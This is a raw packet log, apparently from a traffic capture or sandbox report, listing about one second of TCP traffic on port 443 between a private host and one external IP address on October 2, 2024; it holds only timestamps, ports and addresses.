Oct 2, 2024 06:11:39.455168009 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.455508947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.455607891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.455625057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.455671072 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.455681086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.455734015 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.457331896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.457354069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.457425117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.457442045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.457487106 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.457882881 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.457897902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.457945108 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.457957029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.458002090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.458585024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.458599091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.458647966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.458659887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.458702087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.459131956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.459146976 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.459217072 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.459237099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.459252119 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.461426973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.461457014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.500837088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.500878096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.501007080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.501029015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.501100063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.545156002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.545173883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.545247078 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.545274019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.545326948 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.545686960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.545705080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.545747995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.545758009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.545794010 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.545806885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.546019077 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.546036005 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.546076059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.546084881 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.546104908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.546122074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.548001051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.548017025 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.548074007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.548094988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.548161983 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.548628092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.548643112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.548691034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.548702955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.548722029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.548746109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.549047947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.549062967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.549113989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.549124002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.549165964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.549649000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.549664021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.549724102 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.549741030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.550401926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.635451078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.635471106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.635519981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.635551929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.635565996 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.635621071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.635917902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.635935068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.635987997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.635994911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.636039019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.636331081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.636346102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.636382103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.636387110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.636423111 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.636439085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.637396097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.637418032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.637463093 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.637469053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.637480974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.637512922 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.639007092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.639031887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.639065027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.639072895 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.639117956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.639136076 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.639631987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.639648914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.639695883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.639705896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.639722109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.639746904 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.640165091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.640187979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.640218973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.640223980 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.640238047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.640264988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.640836954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.640851974 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.640893936 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.640898943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.640957117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.640974998 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.645606041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.726263046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.726283073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.726367950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.726397991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.726439953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.726911068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.726927042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.726991892 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.726999044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.727041006 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.727761030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.727777958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.727827072 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.727833033 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.727868080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.727932930 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.727977991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.728013039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.728046894 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.728051901 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.728104115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.728131056 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.729569912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.729588032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.729656935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.729664087 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.729780912 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.730339050 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.730370045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.730407000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.730412006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.730449915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.730473042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.730783939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.730798006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.730853081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.730859041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.730972052 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.731292009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.731331110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.731368065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.731380939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.731401920 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.731430054 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.816828966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.816867113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.816905975 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.816920996 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.816963911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.816983938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.817477942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.817492008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.817552090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.817560911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.817605019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.817998886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.818021059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.818063974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.818068981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.818099022 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.818118095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.818774939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.818792105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.818840981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.818845987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.818898916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.818921089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.820229053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.820245028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.820319891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.820326090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.820373058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.820911884 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.820928097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.820977926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.820982933 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.821008921 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.821032047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.821280003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.821295023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.821347952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.821353912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.821383953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.821402073 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.821985960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.822000980 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.822037935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.822043896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.822063923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.822089911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.907525063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.907546043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.907613039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.907619953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.907689095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.908036947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.908056021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.908122063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.908128023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.908169985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.908477068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.908494949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.908543110 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.908548117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.908582926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.908601046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.909492016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.909522057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.909570932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.909576893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.909611940 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.909630060 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.911000013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.911015987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.911076069 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.911081076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.911140919 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.911576033 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.911591053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.911654949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.911659956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.911700010 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.912342072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.912358046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.912406921 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.912411928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.912451982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.913054943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.913089037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.913117886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.913124084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.913167000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.913184881 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.998326063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.998344898 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.998405933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.998413086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.998455048 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.998946905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.998970985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.999027967 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.999034882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.999078035 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.999340057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.999399900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.999408960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.999464035 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.999483109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.000277042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.000292063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.000339985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.000346899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.000384092 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.001663923 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.001681089 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.001734018 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.001739979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.001791000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.002563953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.002583981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.002639055 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.002645016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.002686977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.002944946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.002959967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.002999067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.003005028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.003042936 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.003061056 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.003640890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.003657103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.003701925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.003707886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.003739119 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.003757954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.089137077 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.089158058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.089353085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.089361906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.089437008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.089724064 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.089740038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.089812040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.089818001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.089864016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.090598106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.090612888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.090681076 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.090692043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.090737104 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.091101885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.091116905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.091196060 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.091206074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.091269970 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.092339993 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.092355967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.092401028 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.092422962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.092451096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.092623949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.092935085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.092950106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.093009949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.093017101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.093060970 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.093601942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.093616962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.093687057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.093693018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.093738079 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.094294071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.094311953 CEST	443	49723	167.114.14.168	192.168.2.8
